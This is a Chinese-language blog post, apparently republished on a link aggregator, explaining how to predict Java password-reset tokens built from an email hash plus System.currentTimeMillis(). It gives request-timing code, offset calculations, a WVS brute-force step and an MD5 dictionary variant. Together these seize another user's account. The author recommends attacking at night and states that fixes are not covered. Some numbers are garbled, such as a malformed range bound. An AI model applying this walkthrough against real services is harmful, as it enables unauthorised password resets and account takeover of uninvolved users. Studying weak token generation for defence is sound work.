5

利用系统时间可预测破解java随机数

 3 years ago
source link: https://blogread.cn/it/article/5513?f=hot1
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

利用系统时间可预测破解java随机数

浏览:2962次  出处信息
摘要:
这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。

正文:

“System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。
今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。
1、输入邮箱。
2、发送邮件给用户邮箱。
3、根据邮箱中的链接,修改密码
就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。
在生成token时,采用了这样一段代码:

public String genToken(String email) {
String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
return token;
}

从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。
真正随机的只有System.currentTimeMillis()
这个方法貌似随机,条件允许的情况下,其实是可以破解的。

利用系统时间可预测破解java随机数:

根据以上流程,只要攻击者提交

http://www.inbreak.net/user/[email protected]

就可以给攻击者的邮箱,发一封EMAIL。
================
你好,空虚浪子心:
请点击链接重置密码。该链接24小时内有效。
或将以下链接拷贝到浏览器地址栏中:

http://www.inbreak.net/user/resetpassword.action?token=1315336352414

该邮件由系统自动发送,请勿直接回复此邮件。
==============
随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。
当然,这不可能。
但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。
我们的时间,和服务器时间,总是会相差一个数字。
网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。
没关系,我们尽量让它变得可预测些。
在本地,写这样一段代码:
=================

    public static void main(String[] args) throws IOException {
       System.out.println(i + 1);
       i++;
       System.out.println("------mystart");
       System.out.println("[email protected] ".hashCode() * 21
              + System.currentTimeMillis());
       sendPost("http://www.inbreak.net/user/[email protected]");
       System.out.println("[email protected]".hashCode() * 21
              + System.currentTimeMillis());
       System.out.println("------myend");
       System.out.println("------user start");
       Long x = "[email protected]".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(x);
      sendPost("http://www.inbreak.net/user/[email protected]");
       Long y = "[email protected] ".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(y);
       System.out.println(y - x);
       System.out.println("------user end");
    }

=================

代码流程,使用文字描述:

1、 打印攻击者的开始时间。

2、 发邮件给攻击者。

3、 打印攻击者的结束时间。

4、 打印要破解的用户开始时间

5、 发邮件给要破解的用户。

6、 打印要破解的用户结束时间

7、 打印请求服务器给用户发邮件的用时

程序执行的结果如下:
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 = 网络延迟。
------user end

======================
于此同时,收到了一封邮件,token为“1315395156493”。
然后根据以下的计算公式:
攻击者的结束时间(已知) - 服务器给攻击者发邮件的时间(已知) = 时间差(可以算出来)
用户结束时间(已知) - 服务器发给用户邮件时间(就是未知数x) = 时间差(前面算出来的)
可以算出给用户发邮件的时间,这个时间是模糊的,还需要加减当时的网络延迟(刚才程序打印出来了),才能得到一个最终区间。
再写段代码:
=============================

Long myendtime =  Long.valueOf("1315395175437"); //在我本地执行完给我邮件发送的时间
Long userendtime =   Long.valueOf("1316945857305"); //在我本地执行完给用户发邮件的时间
Long myservertime =  Long.valueOf("1315395156493"); //服务器给我发邮件的时间
Long userservertime = userendtime - (myendtime-myservertime);
System.out.println(userservertime);

===================================
这段代码打印出了结果:

这是我们预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
下面交给WVS处理

image002.jpg

很快的,得出结果,第一列的response内容大小,和其他的不同,大家都是1153B,只有这一条是2685B,说明内容不一样,这就是答案了。

image003.png

得到答案,我们访问页面看看。

image004.png

图中可以看到,攻击者可以已经破解了token,可以直接修改密码。
在做网络攻击时,当然情况可能不一致,网络延迟如果很久,可以换网速好,延迟少的机器。最好在半夜三更的时候进行,成功几率大很多。

进阶攻击:

当然,会有开发自作聪明,给最终数字,也就是token,加上MD5。这的确可以增加攻击成本,但是实质上还是自欺欺人。对于攻击者,只需要在固定的时间范围,就可以放一个字典。

1316945838361 -- 7bfe0596e68cb9c43bfd0749d835c62d

一一对应,在最终做算术题中,多几次查询即可。
我们可以就拿以上示例,给大家进阶一下。
代码为

    public String genToken(String email) {
        String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
        return md5(token);
    }

和前文代码基本一致,只是返回时,最终调用了md5。
假设还是上次的结果,服务器会返回:

Token=8b4a258acdff3bf44ed88d174ed0be20

这个token其实就是时间的加密,他的解密肯定在一定的时间段范围内。我们首先要找到特征。
执行一下当前时间,先看看我的时间,1315395175437,这是一个long类型。
通过

System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm").format(new Date(1315395175437)));

得出结果:

2011-08-29 20:39

经过不断的修改数字,可以看出
13153951,也就是前8位,代表几月几号几点。
75437,也就是后面5位,代表几分几秒。
服务器时间就算再傻,也不能把今天,算成明天,最多和我们本地,相差个多少分钟。
所以我们做字典,在数据库录入:

以“13153951”为固定前缀+5位数字 (00001到99999)

之后在这个表,增加一个字段,是前面那个字段的MD5值,当然,如果不放心,可以再往前加几位,就是固定前缀“1315395”+ 6位数字,以此类推,数据库不会很大。
这个字典,有什么用呢?
前文说到服务器会给我发邮件,告诉我Token=8b4a258acdff3bf44ed88d174ed0be20,这个md5对应的数字,必然会在这个字典里,所以可以直接从字典中查出来这个md5。
其后的流程,就和前文破解一致。
再次贴一遍结果:
======================

------mystart
1315395175327
1315395175437           //攻击者的结束时间
------myend
------user start
1316945857268
1316945857305            //用户结束时间
37                        //用户结束时间减去用户开始时间 =打印请求服务器给用户发邮件的用时,也就是网络延迟。
------user end

======================
之后按照公式,当然会算出1316945838361,是我预测的,服务器给用户的发邮件时间范围基数。
最终数字,应该是这个值加减37(当时的网络延迟),也就是1316945838324到131694583832474的范围内。
将以上范围所有数字,md5加密一下,做成字典,放在wvs中跑一遍,一定也能得出结果。
以上纯属推测,并没有示例测试,但是思路是正确的。

再次进阶

从上面的内容中,大家知道并不是看到token,就想当然的以为没办法,我们从黑盒测试的角度,甚至可以做这样一件自动化的事情,以便直接快速的破解。
当我们看到有存在md5的token后,直接执行以下几步。
写小程序,将以下流程尽量自动化:
1、获取当前时间,其中可以加入用户名前缀的hash,也可以加入email等hash,总之,token的内容,是和用户相关,并且是固定的,联想到我们注册时,也就填写了用户名、email,肯定是相关的。用户名或email+随机数,排列组合一下,分别走一遍前三步。
2、时间范围定在1小时内(前面几位数字固定前缀即可),生成md5字典。
3、获取自己账号的token,然后在字典中,得出结果。
4、如果第三步成功,基本就可以确定漏洞存在。后面利用公式,计算出服务器给用户token的时间基数,正负时间差,做成md5字典。
5、WVS跑一遍字典,查看服务器返回数据大小,从而得出用户的token。
如果我们已经有生成token的代码,就像文章中的示例,就可以省略猜测算法的步骤了。在生成token的时候,肯定有不少人犯了这样的错误,本文主要谈攻击思路,至于修补方案就不管了,大家懂得。

觉得文章有用?立即:

和朋友一起 共学习 共进步!

建议继续学习:

QQ技术交流群:445447336,欢迎加入!
扫一扫订阅我的微信号:IT技术博客大学习

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK